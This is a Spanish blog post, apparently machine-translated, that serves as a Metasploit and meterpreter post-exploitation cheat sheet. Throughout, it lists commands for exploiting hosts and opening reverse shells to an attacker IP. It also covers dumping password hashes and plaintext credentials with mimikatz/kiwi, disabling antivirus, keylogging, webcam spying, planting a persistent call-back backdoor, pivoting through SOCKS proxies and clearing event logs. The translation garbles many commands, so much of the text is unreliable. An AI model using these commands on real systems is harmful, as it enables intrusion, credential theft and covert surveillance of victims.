Metasploit Framework (msf) contiene miles de vulnerabilidades de software conocidas y se actualiza continuamente. Metasploit se puede utilizar para todo el proceso de pruebas de penetración, como la recopilación de información, la detección de vulnerabilidades y la explotación de vulnerabilidades. Está escrito en lenguaje Ruby. ¡Hackea el título de todo el universo! ! !
Intención original: registrar el proceso de prueba de penetración de msfconsole, así como algunos comandos comúnmente utilizados en cada punto del proceso. Puede señalar algunas deficiencias en él. Agregaré suplementos a este blog y también anotaré los nombres de todos en el suplemento. dentro del ¡capítulo! ! Trabajemos juntos ^-^
Después de que se publique este capítulo, se publicarán pruebas prácticas más adelante y también se actualizarán los comandos comunes para Win y Linux.
msf que viene con kali, actualiza y actualiza
Proceso básico de uso de penetración
Configuración de parámetros de carga útil de ataque
meterpreter [herramienta post-explotación después de obtener permiso]
Funciones de Meterperter [Módulo posterior a la penetración]
Comando posterior a la penetración [comando de información del sistema host win]
Proceso post-infiltración [Comandos comunes para el proceso]
Utilice mimikatx para obtener contraseñas
Elevar privilegios [Elevar privilegios de ganar al sistema]
Uso del módulo KiWi (el módulo mimikatz integrado en msf se reemplaza por kiwi)
Módulo posterior a la penetración [Configuración de operación en segundo plano]
Crear una puerta trasera persistente
MSF construye un proxy de calcetines
Descripción del parámetro de enrutamiento
sistema de ganancia de reenvío de puertos portfwd
powershell recopila información del dominio
Nota: comando de carga del módulo meterpreter
msf que viene con kali, actualiza y actualiza
apt update actualiza la información del paquete de instalación, solo verifica pero no actualiza
apt update actualiza los paquetes instalados sin eliminar los paquetes antiguos
paquete de actualización de actualización completa apto, eliminar paquete antiguo
Si Kali no se utiliza durante mucho tiempo, la firma digital caducará, lo que imposibilitará la actualización de la fuente.
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key agregar solución
Proceso básico de uso de penetración
msfconsole ingresa al marco de búsqueda ms17_010
busque para encontrar módulos de ataque de vulnerabilidad relacionados (auxiliar es un módulo de detección auxiliar para detectar si la vulnerabilidad existe, exploit es un módulo de explotación de vulnerabilidad)
usar xxx/xxx/xxx usar seleccionar módulo de ataque
info Utilice información para ver información sobre el tipo de vulnerabilidad (versión del sistema de destino, versión de idioma)
mostrar cargas útiles Ver las cargas útiles que pueden ser explotadas por esta vulnerabilidad
establecer carga útil xxx/xxx Establecer carga útil de ataque
mostrar opciones Ver los parámetros que el módulo debe configurar
mostrar objetivos Ver plataformas de sistemas atacables (de forma predeterminada, la versión y el idioma del sistema operativo de destino se determinarán automáticamente)
establecer xxxx establecer parámetros
explotar / ejecutar guardar / atacar (si es una detección, el signo + indica la existencia de la vulnerabilidad) fase posterior a la penetración
Configuración de parámetros de carga útil de ataque
set RHOST 192.168.100.158 #Set RHOST, que significa atacar la IP del host
set LHOST 192.168.100.132 #Set LHOST, que es la IP de nuestro host, utilizada para recibir el shell devuelto desde la máquina de destino
establecer lport 6666 #Establecer lport, que es el puerto de nuestro host, y rebotar el shell a este puerto; si no configuramos lport aquí, el valor predeterminado es 4444 puerto de escucha;
meterpreter [herramienta post-explotación después de obtener permiso]
Meterpreter es una carga útil de etapa. En Metasploit Framework, Meterpreter es una carga útil que se puede expandir a través de la red durante la operación. Esta herramienta se basa en el concepto de "inyección de DLL de memoria" , que permite que el sistema de destino ejecute el archivo DLL inyectado creando un nuevo proceso y llamando a la DLL inyectada.
Flujo de trabajo: el objetivo primero debe realizar una conexión de sesión de vulnerabilidad de desbordamiento inicial, que puede ser una conexión directa de enlace o una conexión inversa de rebote. Al recuperar la conexión, se carga el archivo de enlace dll y el archivo dll se procesa silenciosamente en segundo plano. Luego inicialícelo a través del código central de meterpreter, establezca un túnel cifrado TLS/1.0 a través del socket y envíe una solicitud GET al servidor Metasploit. Después de recibir la solicitud GET, el servidor Metasploit configura el cliente correspondiente. Finalmente, meterpreter carga la extensión y todas las extensiones cargadas transmiten datos a través de TLS/1.0.
Funciones de Meterperter [Módulo posterior a la penetración]
meterpreter reside completamente en la memoria y no escribe en el disco
Meterpreter no crea un nuevo proceso cuando se inyecta y se puede trasplantar fácilmente a otros procesos en ejecución. Las comunicaciones de Mertepreter están cifradas por defecto, por lo que son seguras
Extensibilidad, se pueden cargar muchos módulos de funciones nuevas.
Al configurar la carga útil, puede configurarla como un enlace inverso y obtener meterpreter>
Luego puedes seguir el proceso de penetración.
? [¿Ingresar directamente? , puede ver la descripción del parámetro en meterpreter]
fondo [meterpreter se puede montar para ejecutarse en segundo plano]
sesiones -l [Ver la lista de sesiones obtenidas de meterpreter_shell]
Comando posterior a la penetración [comando de información del sistema host win]
sysinfo Ver información del sistema host de destino
ejecute scraper para ver los detalles del host de destino
ejecutar hashdump exporta el hash de la contraseña
cargar kiwi cargar mimikatz
ps Ver información del proceso del host de destino
pwd Ver el directorio actual de destino (Windows)
getlwd Ver el directorio actual del directorio (linux) buscar -f *.jsp -de:\ Buscar todos los archivos con el sufijo .jsp en la unidad e
descargar e:\test.txt /root Descargue el archivo e:\test.txt del host de destino al directorio /root
cargar /root/test.txt d:\test Cargar /root/test.txt al directorio d:\test\ del directorio de la máquina
getpid Ver el PID del proceso del shell Meterpreter
migrar 1384 Migrar el proceso de shell Merterpreter actual al proceso con PID 1384
idletime Ver el tiempo de ejecución del host
getuid Ver los permisos actuales obtenidos
Getsystem eleva los privilegios sólo si el usuario actual obtenido es administrador.
ejecutar killav desactiva el software antivirus
captura de pantalla captura de pantalla
webcam_list Ver las cámaras del host de destino
webcam_snap tomar foto
webcam_stream abrir vídeo
ejecutar parámetro -f archivo ejecutable ejecuta el programa ejecutable
ejecute getgui -u testl -p ABC123 Cree un usuario testl con contraseña ABC123
ejecute getgui -e inicia el escritorio remoto
keyscan_start activa la función de registro de teclas
keyscan_dump muestra información de registro de teclas capturada
keyscan_stop detiene la función de registro de teclas
uictl deshabilitar el teclado prohíbe al objetivo usar el teclado
uictl enable teclado permite que el objetivo use el teclado
uictl deshabilitar el mouse prohíbe al objetivo usar el mouse
uictl enable mouse permite que el objetivo use el mouse
cargar utiliza la biblioteca de extensión
ejecutar usando la biblioteca de extensiones
Módulo de penetración post-POST [Ataque de penetración después de obtener el control del host objetivo]
administrar
ejecutar post/windows/manage/migrate migración automática de procesos
ejecute post/windows/manage/killav para desactivar el software antivirus
ejecute post/windows/manage/enable_rdp para abrir el servicio de escritorio remoto
ejecute post/windows/manage/autoroute para ver la información de ruta
ejecute post/windows/manage/enable_rdp NOMBRE DE USUARIO=SS2 CONTRASEÑA=123456
Agregar usuario de escritorio remoto
ejecute post/windows/manage/enable_rdp FORWARD=true LPORT=6662
Puerto de reenvío 3389 a 6662
recolectar
ejecute post/windows/gather/enum_logged_on_users listas de usuarios actualmente registrados
ejecute post/windows/gather/enum_applications para enumerar las aplicaciones
ejecute post/windows/gather/credentials/windows_autologin obtenga el nombre de usuario y la contraseña del inicio de sesión automático ejecute post/windows/gather/smart_hashdump descargue el hash de todos los usuarios
ejecute post/windows/gather/enum_domain para ver el control de dominio
ejecute post/windows/gather/enum_patches información del parche [obtenga si hay un número de parche de msf que pueda usarse directamente]
ejecute post/windows/gather/checkvm para comprobar si el host de destino se está ejecutando en una máquina virtual
Proceso post-infiltración [Comandos comunes para el proceso]
sysinfo Ver información sobre el host de destino
ejecute post/windows/gather/checkvm para verificar si el host se está ejecutando en una máquina virtual
ejecutar killav desactiva el software antivirus del host de destino
ejecutar scraper obtiene los detalles del host de destino y accede al sistema de archivos
pwd ver el directorio actual
gato lee el contenido del archivo
rm eliminar archivos
editar Editar archivos usando vim
mkdir crea un nuevo directorio
rmdir eliminar directorio
descargar archivo Ayuda a descargar archivos desde el sistema de destino
duload file (archivo) Sube archivos al sistema de destino
El comando getuid puede obtener la información del usuario actual.
getsystem eleva automáticamente los privilegios a privilegios del sistema
Utilice mimikatx para obtener contraseñas
ejecute windows/gather/credentials/windows_autologin para obtener el nombre de usuario y la contraseña para el inicio de sesión automático
ejecute hashdump exportar contraseña hash formato de exportación: nombre de usuario: SID: hash LM: hash NTLM:::
El uso del comando ejecutar windows/gather/smart_hashdump requiere permisos del sistema
Requisito previo: se requieren permisos del sistema para ejecutar mimikatz y, al ejecutar, la selección debe basarse en el número de sistema actual.
Primero verifique los permisos de la sesión actual (getuid), luego mire el número del sistema (sysinfo), (cargue) la ruta absoluta del archivo cargado, ejecute -i -f mimikatz.exe (ejecutar) [Nota: mimikatz debe usar permisos del sistema ]
Obtenga la contraseña: privilegio::depuración
sekurlsa::contraseñas de inicio de sesión
Elevar privilegios [Elevar privilegios de ganar al sistema]
1. El permiso actual es el usuario administrador.
2. Utilice otros medios para elevar primero los privilegios al usuario administrador, luego el usuario administrador puede usar directamente el comando getsystem en meterpreter_shell para elevar los privilegios a los privilegios del sistema.
getuid Ver la identidad del usuario de la sesión actual
getsystem intenta escalar privilegios automáticamente
Uso del módulo KiWi (el módulo mimikatz integrado en msf se reemplaza por kiwi)
El módulo mimikatz integrado en msf ha sido sustituido por kiwi
Requisito previo: Eleve los derechos a los permisos del sistema. La carga predeterminada de kiwi es de 32 bits. Si el host de destino es un sistema de 64 bits, Ze primero debe mirar la lista de procesos del sistema y luego migrar el proceso meterpreter a un proceso de programa de 64 bits antes de cargar kiwi y ver el texto sin formato del sistema.
sysinfo Ver sistema
ps para comprobar si hay procesos de 64 bits
El proceso de migración PID migra a Pid.
kiwi_cmd sekurlsa::logonpasswords puede usar todas las funciones de mimikatz
ps ver proceso
cargar kiwi carga el módulo kiwi
ayuda kiwi Ver módulo kiwi
creds_all enumera todas las credenciales y puede enumerar contraseñas de texto sin cifrar en el sistema
creds_kerberos enumera todas las credenciales de Kerberos
creds_msv enumera todas las credenciales de msv
creds_ssp enumera todas las credenciales ssp
creds_tspkg enumera todas las credenciales de tspkg
creds_wdigest enumera todas las credenciales de wdigest
dcsync Recuperar información de la cuenta de usuario a través de dcsync
dcsync_ntlm Recuperar hash NTM, SID y RID de la cuenta de usuario a través de dcsync
golden_ticket_create crea un ticket dorado
kerberos_ticket_list enumera los tickets de Kerberos
kerberos_ticket_purge borra los tickets de Kerberos
kerberos_ticket_use utilizar tickets de kerberos
kiwi_cmd ejecuta el comando mimikatz, seguido del comando mimikatz.exe lsa_dump_sam vuelca el SAM de lsa
lsa_dump_secrets vuelca el texto cifrado de lsa
contraseña_cambiar cambiar contraseña
wifi_list enumera los archivos de configuración wifi del usuario actual
wifi_list_shared enumera perfiles/codificaciones wifi compartidos
Módulo posterior a la penetración [Configuración de parámetros de la aplicación de instalación del host]
ejecute post/windows/gathtier/enum_applications para ver qué aplicaciones están instaladas en el host de destino
ejecutar + [parámetro]
-f token de hilo falso para ejecutar el archivo ejecutable especificado
-H crea un proceso oculto
-a parámetros pasados al comando
-interactúo con el proceso
-m ejecutar desde la memoria
-t usar el proceso de línea actual
-s ejecuta el proceso en la sesión dada
captura de pantalla Tome una captura de pantalla de la pantalla del host de destino
ejecute post/windows/gather/enum_logged_on_users para verificar si hay usuarios en el host de destino
crear una cuenta:
Método 1: ejecute getgui -u nombre de usuario -p contraseña
Método 2: ejecute post/windows/manage/enable_rdp nombre de usuario=xxx contraseña=xxxx
Habilitar escritorio remoto:
idletime comprueba el tiempo de inactividad del usuario remoto
ejecute post/windows/manage/enable_rdp para abrir el escritorio remoto
ejecute post/windows/manage/enable_rdp FORWARD=true LPORT=6662 Reenvíe el puerto 3389 al puerto 6662
Módulo posterior a la penetración [Configuración de operación en segundo plano]
Registrador de teclas:
keyscan_start activa la función de registro de teclas
keyscan_dump muestra información de registro de teclas capturada
keyscan_stop detiene la función de registro de teclas
Deshabilite el host de destino para que no pueda usar el teclado y el mouse:
El teclado uictl deshabilitar (habilitar) impide que el objetivo use el teclado.
uictl deshabilitar (habilitar) el mouse prohíbe que el objetivo use el mouse
La cámara principal de destino toma fotografías:
webcam_list Obtiene la lista de cámaras del sistema de destino
webcam_snap toma fotografías desde la cámara especificada
webcam_stream inicia el vídeo desde la cámara especificada
cargar/usar módulo de carga
load -l enumera todas las extensiones disponibles
cargar -ayuda ayuda;
Instrucciones: Genere un troyano de puerta trasera y colóquelo en el directorio de inicio de Windows: C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Inicio del servicio: ejecute exploit/windows/local/peristence lhost=192.168.100.132 lport=xxx
Conexión de proceso 192.168.100.132: 8888 [Desventaja: fácil de matar]
netstat -ano: findtr “8888”
Crear una puerta trasera persistente
La conexión establecida por el módulo meterpreter basado en la memoria DLL debe dejar una puerta trasera persistente dentro del sistema de destino.
Dos caminos:
Uno se inicia a través de elementos de inicio (persistencia),
Se inicia el segundo servicio (metsvc)
Elementos de inicio:
Primero se debe generar un troyano de puerta trasera y luego colocarlo en el directorio de inicio de Windows, siempre que la computadora esté encendida se puede iniciar la conexión al puerto correspondiente.
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Inicio del servicio:
ejecute exploit/windows/local/persistence lhost=192.168.100.132 lport=8888
#Se conectará automáticamente al puerto 8888 de 192.168.100.132. La desventaja es que es fácil de detectar mediante software antivirus.
MSF construye un proxy de calcetines
Hay tres módulos de proxy en msf, Socks4a, Socks5 y Socks_unc. Socks5 puede configurar el nombre de usuario y la contraseña, pero a veces MSF no escucha el puerto, lo que puede provocar que el proxy falle. Utilice auxiliar/servidor/socks. este módulo. El módulo de calcetines aquí simplemente configura el proxy para escuchar (el valor predeterminado es 1080), es decir, el tráfico a través de las cadenas de proxy se transfiere al puerto local 1080, y debido a que este es el puerto de escucha iniciado por MSF, el proceso a través del El proxy también puede llegar a la intranet.
Configuración de proxy:
Cambie el módulo en msf para usar auxiliar/servidor/socks_proxy
mostrar opciones Ver detalles del módulo Configurar la interfaz IP y el puerto para el monitoreo de calcetines
configurar SRVHOST ip (127.0.0.1) && configurar el puerto SRVPORT
configuración del proxy de calcetines4a:
usar auxiliar/servidor/socks4a
establecer SRVHOST 0.0.0.0
configurar SRVPORT 1080 ejecutar
configuración de proxy de calcetines5:
usar auxiliar/servidor/calcetines5
establecer SRVHOST 0.0.0.0
establecer SRVPORT 1080
establecer la raíz del NOMBRE DE USUARIO
establecer CONTRASEÑA Contraseña@
correr
Agente de conexión:
Edite el archivo de configuración del programa proxychains local vim /etc/proxychains.conf. El navegador también necesita configurar un proxy. Puede acceder a la intranet directamente a través del navegador y encontrar ProxyList.
[Lista de proxy]
Agregue calcetines5 0.0.0.0 1080 contraseña raíz [1080 es el puerto de escucha]
Cuando utilice nmap para probar el programa, debe utilizar proxychains4 nma -sT -Pn xxxx.
Configuración de enrutamiento
[Agregar enrutamiento antes de usar proxy]
Primero agregue una ruta para que MSF pueda llegar a la red interna de la máquina de destino.
ruta agregar 209.98.32.33 máscara 255.255.255.224 202.96.123.3 métrica 5 Ejecute el comando para agregar una ruta
route print imprime el Destino de la ruta
eliminar ruta 209.98.32.33 eliminar ruta
cambio de ruta 209.98.32.33 máscara de red 255.255.255.224 202.96.123.3 métrica 5 [modificar puerta de enlace 209.98.32.33 a 202.96.132.3]
Reenvío de ruta:
método uno:
ruta Ver información del segmento de red
background pone el proceso actual en segundo plano y regresa a msf
ruta agregar 172.16.10..0 255.255.255.0 1 Agregar ruta (1 es el número de sesión pendiente)
impresión de ruta
Ver información de ruta
Método 2: usar post/multi/manage/autoroute
configurar el exploit de la sesión 1 [Cargue este módulo directamente y llame a la sesión]
Desventajas: el reenvío de proxy de esta manera solo puede ser utilizado por msf, otras aplicaciones no pueden usarlo y otras aplicaciones necesitan agregar un proxy de calcetín.
Descripción del parámetro de enrutamiento
agregar agrega registros de enrutamiento
eliminar registros de enrutamiento
objetivo red de destino o host de destino
gw establece la puerta de enlace predeterminada
mss establece la longitud máxima del bloque de TCP, en MB
Windows especifica el tamaño de la ventana TCP para las conexiones TCP a través de la tabla de enrutamiento.
dev La interfaz de red representada por el registro de enrutamiento.
máscara de red establece la longitud de la máscara
-A establece el tipo de dirección
-c imprime la caché de enrutamiento del kernel de Linux
-v mostrar información detallada
-n no realiza una búsqueda inversa de DNS y muestra directamente la dirección IP en forma numérica
-e formato netstart muestra la tabla de enrutamiento
-net Tabla de enrutamiento a una red
-tabla de enrutamiento del host a un host
sistema de ganancia de reenvío de puertos portfwd
agregar puerto -l 9999 -r 192.168.100.158 -p 3389
#Reenvíe el puerto 3389 de 192.168.11.13 al puerto local 9999. 192.168.100.158 aquí está el derecho a obtener
La dirección IP del host restringido
agregar puerto -l 9999 -r 192.168.100.158 -p 3389
-l puerto de escucha local
-p puerto del servidor de destino
agregar agrega una conexión
Reenvíe el puerto de destino al puerto de escucha local para recibir rebotes de puerto desde el host de destino.
rdesktop 127.0.0.1:9999 Acceda al puerto 9999 local para conectarse al puerto 3389 del host de destino
clearev #borrar registro
powershell recopila información del dominio
cargar powershell carga la función powershell
powershell_import /root/PowerView.ps1 Importe el script de PowerShell y colóquelo en el destino especificado de antemano
powershell_execute Get-NetDomain Este módulo obtiene información del dominio
powershell_execute Invoke-UserHunter Este módulo de función se utiliza para localizar el host donde el administrador del dominio inicia sesión powershell_execute Get-NetForest Este módulo se utiliza para localizar información del dominio powershell_execute Invoke-EnumerateLocalAdmin
Enumerar los miembros del grupo de administradores locales en todas las computadoras del dominio.
Nota: comando de carga del módulo meterpreter
El comando del módulo meterpreter está incompleto. Puede ejecutar load lstdapi para cargar el comando de finalización.
A veces, la post-penetración recibida no es una sesión de tipo meterperpreter, puede usar sesiones -u id para actualizar la sesión. Al ejecutar este comando, se llama a /post/multi/manage/shell_to_meterpreter de forma predeterminada.
La identificación en sesiones -u id es la identificación de la carga útil